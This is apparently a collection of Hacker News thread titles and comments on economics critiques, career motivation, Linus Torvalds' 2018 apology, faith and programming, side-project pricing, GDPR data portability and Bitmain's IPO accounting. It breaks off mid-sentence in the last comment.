"Why do contemporary economists consider food subsidies in starving countries, rent control in rich cities, and health insurance everywhere "inefficient"? Why do they feel that corporate executives deserve no less than their multimillion-dollar "compensation" packages and workers no more than their meager wages? Here is a lively and accessible debunking of the two elements that make economics the "science" of the rich: the definition of what is efficient and the theory of how wages are determined. The first is used to justify the cruelest policies, the second grand larceny.Filled with lively examples-from food riots in Indonesia to eminent domain in Connecticut and everyone from Adam Smith to Jeremy Bentham to Larry Summers-Economics for the Rest of Us shows how today's dominant economic theories evolved, how they explicitly favor the rich over the poor, and why they're not the only or best options. Written for anyone with an interest in understanding contemporary economic thinking-and why it is dead wrong-Economics for the Rest of Us offers a foundation for a fundamentally more just economic system."<p>Or harder hitting from a trial lawyer: <a href="http://conceptualguerilla.com/essays/essays-on-economics-and-ideology/mythology-of-wealth/" rel="nofollow">http://conceptualguerilla.com/essays/essays-on-economics-and...</a>
"Old habits die hard. In fact, we still have a “leisure class”. As capitalism has grown so has the wealth and privilege of our leisure class. The old mythologies – gods, the “great chain of being” etc. – are no longer available to justify the existence and perpetuation of our leisure class, something our elites are definitely interested in perpetuating. What was needed was a new “rational” world-view that justified the existence of privileged elites. That rationalization came in the form of a brand new science known as economics, which included a brand new mythology."<p>Or from 1999: "The Market as God" by Harvey Cox (Harvard professor of religion): <a href="https://www.theatlantic.com/magazine/archive/1999/03/the-market-as-god/306397/" rel="nofollow">https://www.theatlantic.com/magazine/archive/1999/03/the-mar...</a>
"A few years ago a friend advised me that if I wanted to know what was going on in the real world, I should read the business pages. Although my lifelong interest has been in the study of religion, I am always willing to expand my horizons; so I took the advice, vaguely fearful that I would have to cope with a new and baffling vocabulary. Instead I was surprised to discover that most of the concepts I ran across were quite familiar. Expecting a terra incognita, I found myself instead in the land of déjà vu. The lexicon of The Wall Street Journal and the business sections of Time and Newsweek turned out to bear a striking resemblance to Genesis, the Epistle to the Romans, and Saint Augustine's City of God. Behind descriptions of market reforms, monetary policy, and the convolutions of the Dow, I gradually made out the pieces of a grand narrative about the inner meaning of human history, why things had gone wrong, and how to put them right. Theologians call these myths of origin, legends of the fall, and doctrines of sin and redemption. But here they were again, and in only thin disguise: chronicles about the creation of wealth, the seductive temptations of statism, captivity to faceless economic cycles, and, ultimately, salvation through the advent of free markets, with a small dose of ascetic belt tightening along the way, especially for the East Asian economies."<p>See also:
"The Impact of Inequality: How to Make Sick Societies Healthier" by Richard G. Wilkinson<p>And: "The Spirit Level: Why Greater Equality Makes Societies Stronger" by Richard Wilkinson and Kate Pickett<p>And: "The Price of Inequality" by Joseph E. Stiglitz<p>Another petition/manifesto by students from 2009: "The True Cost Economics Manifesto"
<a href="https://blog.p2pfoundation.net/the-true-cost-economics-manifesto/2009/08/09" rel="nofollow">https://blog.p2pfoundation.net/the-true-cost-economics-manif...</a>
"“We, the Undersigned, make this accusation: that you, the teachers of neoclassical economics and the students that you graduate, have perpetuated a gigantic fraud upon the world. You claim to work in a pure science of formula and law, but yours is a social science, with all the fragility and uncertainty that this entails. We accuse you of pretending to be what you are not. You hide in your offices, protected by your mathematical jargon, while in the real world, forests vanish, species perish and human lives are callously destroyed. We accuse you of gross negligence in the management of our planetary household. ..."<p>There is at least one other petition I saw from around then (though with softer words) mainly by economics professors and grad students -- can't find it at the moment.<p>Or to go way, way back, see Marshall Sahlins:
<a href="http://www.primitivism.com/original-affluent.htm" rel="nofollow">http://www.primitivism.com/original-affluent.htm</a>
"Hunter-gatherers consume less energy per capita per year than any other group of human beings. Yet when you come to examine it the original affluent society was none other than the hunter's -- in which all the people's material wants were easily satisfied. To accept that hunters are affluent is therefore to recognise that the present human condition of man slaving to bridge the gap between his unlimited wants and his insufficient means is a tragedy of modern times. ... The world's most primitive people have few possessions. but they are not poor. Poverty is not a certain small amount of goods, nor is it just a relation between means and ends; above all it is a relation between people. Poverty is a social status. As such it is the invention of civilisation. It has grown with civilisation, at once as an invidious distinction between classes and more importantly as a tributary relation that can render agrarian peasants more susceptible to natural catastrophes than any winter camp of Alaskan Eskimo."<p>Even in the 1980s when I was in college it was clear to many that much of economics was, essentially, am apologetic branch of mathematics with little connection to the real world. My own take on that from around 2008:
<a href="https://pdfernhout.net/post-scarcity-princeton.html#Some_comments_on_the_PU_Economics_department_and_related_research_directions_from_a_post-scarcity_perspective" rel="nofollow">https://pdfernhout.net/post-scarcity-princeton.html#Some_com...</a> |
So Good They Can't Ignore You | "4" is not something you find in life right away. Finding a passion should never be the first goal you think of, some may never find a true passion worth following. That's okay, because not everyone is this way.<p>A good example of a "4" is elon musk. His motivation stems from reading Hitchhikers guide to the galaxy at any early age. He stuck to the same quotes that motivated him today. That is true passion.<p>I have a friend who is very good at "4". Knowing "4" as a deep level, helps you identify similar "4"s. People will remember you as that person with a strong "4" and drive inspiration from you.<p>My "4" is pretty generic. Its to give back to all the technology that has defined me growing up. This is the internet, TV shows, video games, smartphones, etc I have taken for granted in this generation. And by definition, the hardware and software to enable those things to be. That's my reasoning. Anything that benefits the persuit of my "4" is fun to me. I like building tools to empower others, my guiding philsophy is similar to Douglas_Engelbart, inventor of computer mouse. "4" is the small things in life<p><a href="https://en.wikipedia.org/wiki/Douglas_Engelbart" rel="nofollow">https://en.wikipedia.org/wiki/Douglas_Engelbart</a>. > guiding philosophies<p><a href="https://www.youtube.com/watch?v=IPYeCltXpxw" rel="nofollow">https://www.youtube.com/watch?v=IPYeCltXpxw</a>. > how, why what<p>------------------------------------------------------------------<p>The "how" of "4" is driven by 2 different things:<p>- Automation<p>- Documentation<p>Growing up, I have always been obsessed with automation. This is because I started working at the age of 13. And had to do a lot of tedious inefficient tasks that gave me a lot of time to mull on. I transitioned this obsession into MMO's, which has taught me everything I know about business today. Its defined me for better or worst. My automation obsession has lead me to constantly critique myself, can I do things better? is there a faster way to learn XYZ? Do I really need to move my finger farther than I need to on the keyboard? Does this UX respond well to minimal eye fatigue?<p>The obsession of documentation I have stems from dealing with logical infallacies growing up. I was always told that I was wrong because I clearly was not experienced or old enough to understand. I would journal things religiously - and I made an effort to document everything I do. I still very religiously do this today, I have made over 13,000+ gifs/images, 2000+ videos tracked of things I watched, 1000+ softwares documented of things I used, 5000+ items of things I've researched and bought/tried out. I have different methods of tracking this, this is my obsession with documentation<p>The "2" is what I defined as the "what". From the "why" and "how, that "what" could be been many things. It could be working on computervision / embedded hardware. It could be manufacturer automation in industrial sectors. Or business processes. Minimalistic UX designs for marketing purposes. Those are all derivatives of automation & documentation. Literally, everything is automation & documentation in some form or another.<p>But I've done 3 years of semiconductor / metallurgical lab research. I learned that I hate doing research, and slow changes. I don't believe in reinventing the wheel or experimenting things on unsure success. This makes me a poor scientist and an aspiring 10x engineer.<p>I grab the lowest hanging fruits of the "whats". It simply what makes money with the least amount of effort. 95% <i>quotation needed</i> of things needed to be done are just CRUD webapps. This is why I've chosen only to learn ruby/rails,javascript,python,react for now, and later C++/C/C#. Down the road, I wish to expand this into machine learning, datascience, and embedded hardware. Strictly, There's many things in imaging / video processing that I wish to learn <i>e.g FFMPEG</i>, and these all tie into automation/documentation.<p>I am starting to outgrow all the software I've used, and wish for many things that do not yet exist. Regardless of what things change down the road in my life, these obsessions of mine with automation, and documentation, will never go away. It defines me. Neither will my motivation for building tools to empower others, including myself<p>------------------------------------------------------------------<p>## TLDR<p><a href="https://commoncog.com/blog/so-good-they-cant-ignore-you/" rel="nofollow">https://commoncog.com/blog/so-good-they-cant-ignore-you/</a> → this blog suggests "2" and "4".<p><a href="https://www.youtube.com/watch?v=u4ZoJKF_VuA&vl=en" rel="nofollow">https://www.youtube.com/watch?v=u4ZoJKF_VuA&vl=en</a> → "Ted talk, how why what".<p>"4" is the "why" and the "how" to me.<p>"2" is the "what" to me.<p>"why" is giving back to this ideal, of culture and media only made possible with the advent of technology. Its the small, taken for granted things in life.<p>"how" is automation and documentation to me.<p>"what" is large and encompassing, but I've chosen for now the lowest hanging fruit, the 95% problem, CRUD webapps. Ruby/rails, javascript, react, python suit my needs just fine now. On a slow ongoing basis, I wish to tackle the 5% problem. C++/C#/C, embedded hardware, machine learning, computervision. With this I need a deeper understanding of math, computer science, and electrical engineering.<p>Here's a crappy diagram of my professional goals in life. <a href="https://i.imgur.com/nTyvVOR.png" rel="nofollow">https://i.imgur.com/nTyvVOR.png</a><p>------------------------------------------------------------------<p>Everything that falls outside the scope of automation and documentation, generally do not interest me. These are things like research topics that don't intersect my goals, e.g. chemistry, biology, etc.<p>Things that also fall in the scope of automation and documentation, in some way form or another. This is callisthetics, rock climbing, jiu jitsu <i>automation physically</i>. Space repetition learning, notetaking, UX design, <i>automation mentally</i>. Those are just some examples.<p>Documentation would be blogging and youtubing among other things. The latter I persued in the past with some success, but wish to do so again sometime later. Not sure what it would be, granted the one youtuber I really look up to is Tom Scott.<p>Instead of having the "why" as inspiration, I want to be the "why" to others and for myself. The storyteller, not the reader. This could be in many forms, from writing, to building tools that make an impact on others. Drawing inspiration from things I accomplished in the past, etc.<p>Its still a long progress, but having a "4" or "why" really drives me everyday in persuing my goals |
Linus Torvalds apologizes for his behavior, takes time off | [The text part of the post with corrected formatting, rather than 78 chars:]<p>---<p>So this email got a lot longer than I initially thought it would get, but let's start out with the "regular Sunday release" part ]<p>Another week, another rc.<p>Nothing particularly odd stands out on the technical side in the kernel updates for last week - rc4 looks fairly average in size for this stage in the release cycle, and all the other statistics look pretty normal too.<p>We've got roughly two thirds driver fixes (gpu and networking look to be the bulk of it, but there's smaller changes all over in various driver subsystems), with the rest being the usual mix: core networking, perf tooling updates, arch updates, Documentation, some filesystem, vm and minor core kernel fixes.<p>So it's all fairly small and normal for this stage. As usual, I'm appending the shortlog at the bottom for people who want to get an overview of the details without actually having to go dig in the git tree.<p>The one change that stands out and merits mention is the code of conduct addition...<p>[ And here comes the other, much longer, part... ]<p>Which brings me to the <i>NOT</i> normal part of the last week: the discussions (both in public mainly on the kernel summit discussion lists and then a lot in various private communications) about maintainership and the kernel community. Some of that discussion came about because of me screwing up my scheduling for the maintainer summit where these things are supposed to be discussed.<p>And don't get me wrong. It's not like that discussion itself is in any way new to this week - we've been discussing maintainership and community for years. We've had lots of discussions both in private and on mailing lists. We have regular talks at conferences - again, both the "public speaking" kind and the "private hallway track" kind.<p>No, what was new last week is really my reaction to it, and me being perhaps introspective (you be the judge).<p>There were two parts to that.<p>One was simply my own reaction to having screwed up my scheduling of the maintainership summit: yes, I was somewhat embarrassed about having screwed up my calendar, but honestly, I was mostly hopeful that I wouldn't have to go to the kernel summit that I have gone to every year for just about the last two decades.<p>Yes, we got it rescheduled, and no, my "maybe you can just do it without me there" got overruled. But that whole situation then started a whole different kind of discussion. And kind of incidentally to that one, the second part was that I realized that I had completely mis-read some of the people involved.<p>This is where the "look yourself in the mirror" moment comes in.<p>So here we are, me finally on the one hand realizing that it wasn't actually funny or a good sign that I was hoping to just skip the yearly kernel summit entirely, and on the other hand realizing that I really had been ignoring some fairly deep-seated feelings in the community.<p>It's one thing when you can ignore these issues. Usually it’s just something I didn't want to deal with.<p>This is my reality. I am not an emotionally empathetic kind of person and that probably doesn't come as a big surprise to anybody. Least of all me. The fact that I then misread people and don't realize (for years) how badly I've judged a situation and contributed to an unprofessional environment is not good.<p>This week people in our community confronted me about my lifetime of<p>not understanding emotions. My flippant attacks in emails have been both unprofessional and uncalled for. Especially at times when I made it personal. In my quest for a better patch, this made sense to me. I know now this was not OK and I am truly sorry.<p>The above is basically a long-winded way to get to the somewhat painful personal admission that hey, I need to change some of my behavior, and I want to apologize to the people that my personal behavior hurt and possibly drove away from kernel development entirely.<p>I am going to take time off and get some assistance on how to understand people’s emotions and respond appropriately.<p>Put another way: When asked at conferences, I occasionally talk about how the pain-points in kernel development have generally not been about the _technical_ issues, but about the inflection points where development flow and behavior changed.<p>These pain points have been about managing the flow of patches, and often been associated with big tooling changes - moving from making releases with "patches and tar-balls" (and the _very_ painful discussions about how "Linus doesn't scale" back 15+ years ago) to using BitKeeper, and then to having to write git in order to get past the point of that no longer working for us.<p>We haven't had that kind of pain-point in about a decade. But this week felt like that kind of pain point to me.<p>To tie this all back to the actual 4.19-rc4 release (no, really, this _is_ related!) I actually think that 4.19 is looking fairly good, things have gotten to the "calm" period of the release cycle, and I've talked to Greg to ask him if he'd mind finishing up 4.19 for me, so that I can take a break, and try to at least fix my own behavior.<p>This is not some kind of "I'm burnt out, I need to just go away" break. I'm not feeling like I don't want to continue maintaining Linux. Quite the reverse. I very much <i>do</i> want to continue to do this project that I've been working on for almost three decades.<p>This is more like the time I got out of kernel development for a while because I needed to write a little tool called "git". I need to take a break to get help on how to behave differently and fix some issues in my tooling and workflow.<p>And yes, some of it might be "just" tooling. Maybe I can get an email filter in place so at when I send email with curse-words, they just won't go out. Because hey, I'm a big believer in tools, and at least _some_ problems going forward might be improved with simple automation.<p>I know when I really look “myself in the mirror” it will be clear it's<p>not the only change that has to happen, but hey... You can send me suggestions in email.<p>I look forward to seeing you at the Maintainer Summit.<p>Linus |
Ask HN: What place do you have for God in your life as a hacker? | A substantial one, really. I'd go so far as to say my "life as a hacker" (or, well, software developer) has a "place" in my life with God, rather than vice-versa.<p>Full disclosure: the rest of this post is going to be me talking about how Christianity in particular has a positive impact on my life. It got a bit longer than I expected it to, so it probably looks like a screed, but at least it's a positive one. :)<p>My relationship with Jesus influences how I treat others; because he showed me the most profoundly self-sacrifical mercy ever, I am both motivated and reminded to show grace to others in how I treat them and interact with them. As it says in Ephesians 4: "Be kind to one another, tenderhearted, forgiving one another, as God in Christ forgave you."<p>This surfaces itself in emails, meetings, chat messages, code reviews...basically everywhere I interact with someone else. I don't always succeed, sure, but I know when I fail that there is both need for forgiveness (from the other person), available forgiveness (from God), and opportunity to learn and grow from it.<p>My confidence in God's unfailing love and omnipotence help me to handle stress better (or at least, better than my anxious mind would without such assurances). Because I know that my future is guaranteed by God (Romans 8:18 -- "For I consider that the sufferings of this present time are not worth comparing with the glory that is to be revealed to us"), I am able to endure (or at least endure <i>better</i> than otherwise) in stressful or painful situations and to "count it all joy...when [I] meet trials of various kinds...[knowing] that the testing of [my] faith produces steadfastness", and to "let steadfastness have its full effect, that you may be perfect and complete, lacking in nothing." (James 1:2-4)<p>This surfaces all <i>over</i> the place, when I do so successfully -- it's the area where I most often fail, personally. Tight deadlines, seemingly-doomed projects, team conflicts, bad management...all of those, if handled well, are growth opportunities. I'd sure like to be "perfect and complete, lacking in nothing" with regards to my faith. The reward is worth the price there. This obviously also shows up outside of work, probably more often than it surfaces <i>at</i> work.<p>In part, my drive to learn is fueled by fascination at the levels of ingenuity possible in the world we live in, and my belief that learning about that world is learning about facets of my own maker's skill and apparently-infinite ingenuity. "The heavens declare the glory of God, and the sky above proclaims his handiwork", as David put it in Psalm 19. The circuits that guide the electricity powering the laptop I type this on, the logical foundations on which they're designed, and the chemical reactions in the laptop battery that provides the power to them are the result of studied observation into the systems and properties of the universe God made -- and we're nowhere near complete in our knowledge of that universe. And all of that apparent infinity just highlights how much larger the infinity of God's creativity and "engineering skill" are. "His invisible attributes, namely, his eternal power and divine nature, have been clearly perceived, ever since the creation of the world, in the things that have been made." (Romans 1:20)<p>It's also fueled by a desire to improve so that I can be skillful in my reflection of that creativity, and use that skill in diligent work that I enjoy, while balancing that work with a "longer-term" perspective on its priority. While I'm here, I should do my best and enjoy the my labor and its fruits, but I also know that said labor or wages aren't my "everything". Solomon had a <i>lot</i> to say about this in Ecclesiastes, but in particular in chapter 2: "There is nothing better for a person than that he should eat and drink and find enjoyment in his toil. This also, I saw, is from the hand of God, for apart from him who can eat or who can have enjoyment? For to the one who pleases him God has given wisdom and knowledge and joy, but to the sinner he has given the business of gathering and collecting, only to give to one who pleases God. This also is vanity and a striving after wind."<p>This helps me to balance my priorities, while still encouraging diligence. It is a great thing to be able to enjoy the work I do (and I count myself blessed that I usually do enjoy it!), and it's a great thing to be able to enjoy what I'm paid for that work, but neither the work nor its profits are the point of my existence, nor are they my ultimate reward. In a way, it's like a camping trip: I'm not going to be staying in my campsite forever (or even for long, comparatively), but I should still take care of it, and enjoy it while I'm there.<p>Entire books have been written on this subject (since the subject of "how does your religion affect your working life" is a pretty big one), but I think those few points are pretty relevant to this post in particular.<p>I say all this not to say that I'm the best, or to try to shout out anyone with a different system of beliefs, or to advocate for some kind of religious hegemony among developers. I just thought it'd be helpful to express what I think is a not-often-heard viewpoint on HN: that Christianity <i>can</i> have substantial benefits for the life of software developers, at least based on how it's had substantial benefits for the life of this particular software developer. |
Ask HN: How to come up with monetizable side project ideas? | While I agree with some of the tactics here (make a twist on similar ideas, contact businesses, buy a business, brush up an existing product you built)<p>I'm going to suggest an alternative method that has worked for me.<p>Start with the money.<p>If you want monetization to be guaranteed you need to prioritize that first.<p>Take this method and rinse/repeat for you and your skills.<p>1) How much do you really want to make from this a month, what would make you happy?<p>Let's say you decide $1k a month would make it worth it after time, expenses and payment processing fees.<p>2) You then decide how many customers you really want to have to find and how much support email you want to answer.<p>Usually developers pick prices like $6 and wonder why no-one buys. This low price screams a lack of confidence in the product. That you aren't taking it seriously. That you may not be around in 8 weeks.<p>Starting without monetization in mind or equally, pricing low is the death of a product because for someone who dislikes marketing you just set yourself a huge marketing mountain to climb.<p>At $6 each, finding and selling to 150+ customers - when you don't even have one yet is a huge trek to your $1k happy place.<p>Let's say you feel more confident about finding and serving 10 customers really well. That seems achievable, right?<p>So with just 10 customers we're looking at a $100 a month product, right?<p>Whoa, you're thinking you could never build something that's worth that much.<p>Maybe you're worried it's enterprise level costs now and that's not the type of product you want to build.<p>Don't worry, a $100 product can be really simple.<p>Often developers think that a big cost means solving a big problem and that a big problem needs a big solution. Not true at all.<p>A big problem can be solved with a small elegant solution.<p>3) Now we know how much we want to make and how many customers we need and how much we are going to sell it for.<p>We now need to find the problem we are going to solve.<p>So how big of a problem needs a $100 per month solution?<p>Not very big at all really.<p>Let's say a business owners time is super-conservatively worth $50-$100 an hour.<p>So to add value, we are looking at saving someone between 2-4 hours a month on a task they normally have to do manually. That's not too bad!<p>Or maybe you want to help them reduce their business costs by $200-$400. Also, very possible. Now we have the value proposition.<p>We know what kind of problem we are looking for, so value will be clear for the customer.<p>4) Now we decide _who_ this is going to be for.<p>Don't pick people the same as you. They have the same skills and can solve the same kinds of problems that you can.<p>Pick a group of people :-<p>- That are easily identifiable by what they call themselves on social media (blogger, podcaster, videographer, designer, public speaker etc)<p>- Make sure they are a group you like interacting with, that you have some experience of working with already in some way (please pick a group you like and care about)<p>- Make sure they are the decision maker in their own business (don't pick employees of big corps)<p>- What tech skills have you worked with that overlaps with this customer group?<p>Let's say you've worked on a few video platforms in the past so you know that space well, so you choose to help YouTubers.<p>5) What is the issue that we are solving?<p>Ok, so now we're helping YouTubers to either save 2-4+ hours a month or reduce costs by $200+ - for your $100 MRR product.<p>This is where we breakdown what it takes to run their business.<p>What stops them being more profitable?<p>What tasks do they do everyday?<p>What can be automated?<p>What do they hate doing in their business?<p>If you know this space even a little, you will have answers here.<p>Maybe video storage is a huge expense.<p>Perhaps running their community takes up too much time so they can't scale.<p>Is just publishing a video end to end super time consuming? Look at why.<p>If you don't know what matters to them, ask. Make a hypothesis and see if it's true.<p>In just a couple of DM's you might find that they spend a whole day a week on something repetitive. Or are spending money on something that you can optimize. Write a few possibilities down.<p>6) Make an offer<p>In just a day or two you can go from no idea, to identifying a significant pain point for a group of people that's easy to reach.<p>Now you consider a couple of small technical solutions for the problems you've found.<p>You go back to a couple of your ideal customers and make them a proposition.<p>Something like - "You said you spent X hours on this particular problem. If I built something to solve that, this week, would that be worth $100 to you?"<p>If it's a huge pain point they will bite your hand off. If you get weak responses - no worry, you've not built any code yet. You can use the conversation to get to a deal.<p>They might say it's worth less so you find out what features would be needed to make it worth the $100.<p>Maybe they suggest a different problem that is more urgent for them.<p>After a few conversations you should have at least a couple of paying customers and a clear solution.<p>8) Building<p>Now you know exactly what you need to build and have customers waiting. There is no excuse but to launch. This will help you focus on the truly essential code.<p>As you build, reach out to a few more potential customers. (we made sure they were easy to find earlier) Ask them if they have the same problem. Show them what you have.<p>Go through a few cycles of building and feedback. Make sure people are paying you what you set out in the beginning - or close to it.<p>Ask your starting customers for referrals. You'll reach your 10 customers with zero marketing spend.<p>You then have all of the elements needed to scale further if you wish!<p>Remember that code comes last in this method for a reason. Only build when you have paying customers. |
Unintended Consequences: How the GDPR Can Undermine Privacy | This article is a biased hit piece against the GDPR that only wants to present one side of the issue. It is true that the GDPR requires websites to allow users to download their personal data in a machine readable format[0], also known as 'the right to data portability', and this is what was 'exploited' here. The rationale behind this article is as the name implies, it grants the user the right to easily transfer their data from one platform to another. The historic rationale for this is to allow users to easily move between social media platforms, instead of noting down the names and emails of every one of your friends you can just download your full profile and, in principle, upload this to another social media platform that can automatically do the work of readding all your friends. It is also useful for other websites, say you have uploaded 500 photos to one image hosting site and have customised them by giving them titles and descriptions, the right of data portability means that you can download all of these photos and titles/descriptions in a machine readable format so that they can be uploaded to another competing website.<p>The GDPR also requires companies to provide another means to access data that is different from the right to data portability, this different article is known as 'the right of access by the data subject'[1] and has much more stringent requirements. It can apply to things like your work place or previous places that you have worked, it can apply to health providers, it can apply to a security consultancy agency you hired 15 years ago to install alarms to your house, etc. The purpose of this article is to provide the 'checks' part in checks and balances, it allows a user to verify whether a company is holding information on them, what data they're holding, why they're holding it, and the rights of rectification or erasure (that is again separate from the 'right to erasure' article) among other things. This may seem similar to the right of data portability at first glance but it covers different niches and is much more broad with a bigger bite, it can apply to companies that do not have a website and to companies you do not have an account with (but may still be holding data on you).<p>Techdirt however confuses the purpose of these two articles and instead transposes the rationale behind article 15 onto article 20 and calls it a failing of the GDPR. Quoted here:<p>>That's because, under the GDPR, platforms are supposed to make all of the data they have on you easily downloadable. The theory is that this will help you understand what a company has on you (and, potentially, to request certain data be deleted). But, it also means that should anyone else get access to your account, they could access an awful lot of important and/or personal data.<p>Let's be clear here, this is not a failing of the GDPR and is arguably a reason as to why the GDPR needs to exist in the first place especially in regards to requiring clear and informed consent or having clear explanations of what data is kept and why. The last part of the quote rings true, if someone has access to your account they can collect the data that is on that account. It should almost go without saying, but it is an embarrassment that it needs to be explained to a tech blog that is masquerading as tech journalism. Other people in the thread have given the example that if someone has access to your email account they can download all of your emails. If someone has access to your Facebook account, they can access all your messages and posts, private or otherwise - hopefully you haven't sent any private pictures to anybody. If someone has access to your Google account they likely have access to 1) your emails, 2) your full search history for however long you have had that account, 3) your full Youtube search history, 4) any private or unlisted Youtube videos that you may have uploaded, 5) any files you have uploaded to Google Drive, 6) any spreadsheets or documents you may have uploaded (if you have flown before and have opened your e-ticket in Google Docs this will have your passport number on it), 7) your full payment history through Google Play or Google Wallet (now defunct), 8) your full location/gps history if you have location enabled on your mobile device, etc. The list goes on. More importantly than having access to all of this, with nothing more than knowing the password, a black hat will be able to crawl all of this data using public scripts that can be found on Github and they can do <i>all</i> of this without the right to data portability. This is one area where black hats as well as technically inclined people have been more aware of the risks of using services like Google than the average person has, and it should remind anybody of the adage 'convenience is the enemy of security'.<p>The article goes on,<p>>As Jean notes in a later tweet, this kind of thing could really come back to bite other services, such as Lyft or Uber. She jokes: "Would be pretty bad to get hacked and kidnapped in the same day."<p>Yes, that would be unfortunate. What is more unfortunate is that companies have trained users to accept that there is no compromise, that it's all or nothing, that users need to store their full location and travel data or none at all. I understand the convenience that being able to rebook frequent frequently travelled taxi routes, I understand the convenience of having a fitness tracker that logs GPS data, however is it a convenience that needs to come with clear and informed consent, with an explanation of the implications of keeping this data that may be accessed and updated in real time, and it needs to come with the option of selectively being able to choose where or how much you would like to opt out. I am struggling to think of how this could possibly be a failing of the GDPR over a failing of the companies to provide these features and opt-outs without formal legislation, as a thought experiment, what would happen if Uber or Lyft had a data breach that had leaked all of their booking history? What would happen if Google had an authentication failure and allowed anybody to view your location history? Or how about allowing anybody to use 'Find your phone'?<p>The final insult to injury in the article is this quote,<p>>There are possible technological solutions that could help (again, as Jean suggests), such as using multi-factor authentication to access your own data (one-time passwords, Yubikey, etc), but it's telling that few companies (or regulators!) have really thought about that, because that vector of attack probably hasn't occurred to many people. But, it probably will now.<p>This is not a new attack vector by any stretch of the imagination and to suggest that it's due to the GDPR is quite frankly horribly misinformed. There was a technique that was popular around 2004-2006 (if Google Trends is anything to go by) that was known as 'fusking', the gist of it is that incremental or predictable file names can easily be guessed and crawled by computer scripts and utilities, it was more often than not used to extract all urls from an image gallery (usually pornographic) however it presented difficulties in personal image hosting websites, as filenames along the lines of "2004-07-22-0035.jpg" could just as easily lead to images that could accidentally be crawled if an attacker were to put "2004-07-22-[0000-0100].jpg" into their fusker utility. This presented some challenges to hosting companies who needed to add UUIDs to the filenames, and eventually the attack was somewhat mitigated when mobile phones started naming images with much finer granularity or even adding a salt to the image so that it could not be guessed. This is why websites like Facebook have long and unwieldy urls so that they cannot be guessed. While this attack is an old one it still pops up from time to time, in 2006 both Microsoft and Google had a vulnerability where their url shortening services could be guessed, which led to accidental exposure for users who were using short urls to generate links to private folders. You may be thinking that this is only tangentially related to being able to download user profiles, and I'll admit that it is, but I want to reinforce the point that black hats and other attackers, or even more technically inclined people, are far more equipped to think about the possibility of crawling and downloading large amounts of data that a regular user may be oblivious to or not even realise exists.<p>To give the article a tiny bit of credit, the GDPR does not stipulate that the right to data portability should require additional authentication like multi-factor (which can be as simple as an email link with a one time token), and this is certainly a shortcoming that should be addressed, but it is also a shortcoming that a company that cares about your privacy should be able to address of their own accord.<p>EDIT: on reflection it is a novel idea that just anybody can download your full profile if they have access to your account but at that point the damage has arguably already been done, a site like Facebook requires you to wait for a while before a download link is generated and ones like Google require a password before you can change any account settings. It's probably less intrusive and noticeable if you crawl the profile than to use the download link as there won't be any emails sent.<p>[0] <a href="https://gdpr-info.eu/art-20-gdpr/" rel="nofollow">https://gdpr-info.eu/art-20-gdpr/</a><p>[1] <a href="https://gdpr-info.eu/art-15-gdpr/" rel="nofollow">https://gdpr-info.eu/art-15-gdpr/</a><p>[2] <a href="https://arstechnica.com/information-technology/2016/04/guess-what-url-shorteners-short-circuit-cloud-security/" rel="nofollow">https://arstechnica.com/information-technology/2016/04/guess...</a> |
Crypto mining giant Bitmain reveals heady growth as it files for IPO | Matt Levine column today (<a href="https://www.bloomberg.com/view/articles/2018-09-27/shareholder-value-could-be-worse" rel="nofollow">https://www.bloomberg.com/view/articles/2018-09-27/sharehold...</a>)<p>Bitmain.<p>Maybe the most interesting thing about the initial public offering of Bitmain Technologies is its accounting. (Here is the preliminary offering document, here are articles about it from Bloomberg News and the Wall Street Journal, and here is an analysis from my Bloomberg Opinion colleague Tim Culpan.) Bitmain is a company that mostly sells cryptocurrency mining hardware; it also does some crypto mining itself. It seems to be quite profitable: In the first half of 2018, it had net income of $743 million, and profit from operations of $1.07 billion, on about $2.8 billion of revenue. (It seems to have had a loss in the second quarter though.) Its business seems fairly straightforward: Most of its revenue comes from selling mining hardware, most of its costs come from building the mining hardware, and the revenue greatly exceeds the costs.<p>But while Bitmain has over a billion dollars of operating profit, its cash flow from operations is very negative: It used $622 million of net cash in operating activities in the first half. That is unusual! But the explanation is simple:<p>"Our cash outflows from operations are principally payments for purchases of products and raw materials, selling and marketing expenses, administrative expenses, research and development expenses and other operating expenses. During the Track Record Period, we have accepted payment in the form of cryptocurrencies for sales of our cryptocurrencies mining hardware, and we also received cryptocurrencies from our proprietary mining and operation of mining pools, however, we do not recognize receipt of cryptocurrencies as operating cash inflows."<p>Oversimplifying slightly, Bitmain pays for parts and labor in fiat currency, uses those parts and labor to make stuff, and then sells the stuff for cryptocurrencies. The making-stuff part of this business is lucrative—it sells the stuff for much more than it costs to make it—but the currency mismatch is sort of muddling. Cash goes out to fund operations, but it does not come in as a result of operations.<p>Cash does come in, though: Sometimes Bitmain sells the cryptocurrencies. It sold $516.5 million worth in the first half of 2018. It just treats that as a cash flow from investing activities, not from operations. The normal operating cycle of paying cash to make stuff, making the stuff, selling the stuff for cash, and then using the cash to make more stuff, is completed here; there is just an extra step—and an extra timing decision, and an accounting move from operations to investing—in the middle, as Bitmain sells the stuff for crypto and then, later, optionally, converts the crypto into cash.<p>One could imagine a world in which Bitmain paid its workers and suppliers in crypto and the entire cycle stayed out of the fiat system, but—obviously—that is not the actual world. And one could imagine a world in which selling stuff and getting paid in crypto counted directly as operating cash flow, but that is also not the actual world (of accounting).<p>Anyway, between the time that Bitmain sells its stuff for crypto, and the time it converts that crypto into cash, something else a little weird happens to it:<p>"We account for cryptocurrencies at cost, instead of revaluing cryptocurrencies at their fair value on each accounting reference date, to avoid substantial volatility in the value of cryptocurrencies from time to time, which may distort our results of operation and financial condition. Gains or losses from the disposal of cryptocurrencies are determined as the difference between the net disposal proceeds and the carrying amount of the cryptocurrencies and are recognized in profit or loss on the date of disposal."<p>Is that right? I mean, it’s probably right as a matter of technical accounting; I am not an expert in the international financial reporting standards for cryptocurrency but I assume that Bitmain’s auditors are. But is it the right way to think about this business? It seems like the right way to think about a computer-hardware company; it isolates Bitmain’s ability to build hardware and selling it for more than it costs to build. And that is, operationally, a pretty good description of what Bitmain does.<p>On the other hand you could also think about Bitmain as an investment fund that invests in crypto assets, and whose value as a company rises and falls with the price of its crypto assets. This would not be fair to its operating business, and you can see why it says that it would “distort our results of operations.” But I am not sure it would distort Bitmain’s “financial condition.” It seems to me that shareholders might care about the value of Bitmain’s assets, and if that value swings wildly then possibly the financial statements should too.<p>I realize that this is an annoying and trivializing position; it reduces any real operating business that takes payment in crypto (and holds onto it) to a crypto hedge fund with an operating business attached. But that’s what using a wildly volatile currency will do for you!<p>One other accounting item I enjoyed is on page 197 of the offering document, under “Other Net Loss,” where there is a line item for “loss of cryptocurrencies incurred as a result of cyber-security incidents.” There are entries there for 2015 and 2017. They’re not huge—the 2017 one was “a loss 